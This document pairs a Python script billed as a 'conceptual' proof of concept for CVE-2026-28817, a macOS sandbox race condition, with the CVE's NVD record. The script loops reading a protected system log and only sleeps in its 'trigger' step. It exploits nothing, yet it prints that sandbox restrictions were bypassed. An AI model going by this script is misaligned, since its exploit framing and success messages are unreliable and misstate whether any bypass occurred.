CVE-2026-28817

import os import threading import time # Conceptual PoC for Race Condition in Sandbox State Handling # This script simulates a TOCTOU (Time-of-Check to Time-of-Use) race condition # attempting to access a protected resource before the sandbox restricts it. class SandboxEscapeExploit(threading.Thread): def __init__(self): super(SandboxEscapeExploit, self).__init__() self.running = True self.exploit_success = False def run(self): # Thread 1: Continuously check and attempt to access protected resource while self.running: try: # Simulate accessing a file that should be blocked by sandbox # In a real exploit, this would be a specific syscall sequence with open('/private/var/log/system.log', 'r') as f: content = f.read() if content: print("[+] Sandbox bypass detected! Read protected file.") self.exploit_success = True self.running = False break except PermissionError: # Expected if sandbox is working correctly pass except IOError: pass def stop(self): self.running = False def trigger_race_condition(): # Thread 2: Attempt to manipulate state or timing # This simulates the triggering of the race condition print("[*] Attempting to trigger race condition in state handling...") time.sleep(0.001) if __name__ == "__main__": print("[*] Starting CVE-2026-28817 PoC Simulation...") exploit_thread = SandboxEscapeExploit() exploit_thread.start() # Loop to trigger the race condition alongside the checking thread for _ in range(1000): trigger_race_condition() if not exploit_thread.running: break exploit_thread.stop() exploit_thread.join() if exploit_thread.exploit_success: print("[+] Exploit successful: Sandbox restrictions bypassed.") else: print("[-] Exploit failed: Sandbox held firm.")

{"cve": {"id": "CVE-2026-28817", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:06.980", "lastModified": "2026-03-25T20:52:51.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A race condition was addressed with improved state handling. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. A sandboxed process may be able to circumvent sandbox restrictions."}, {"lang": "es", "value": "Una condición de carrera se abordó con una gestión de estado mejorada. Este problema se corrigió en macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. Un proceso en sandbox podría eludir las restricciones del sandbox."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.5", "matchCriteriaId": "D66288AF-23BD-407A-81F5-F1DFBF84C622"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.5", "matchCriteriaId": "DD21D2C9-BBEC-4E8E-B8D2-C92B7E6155E1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126795", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126796", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}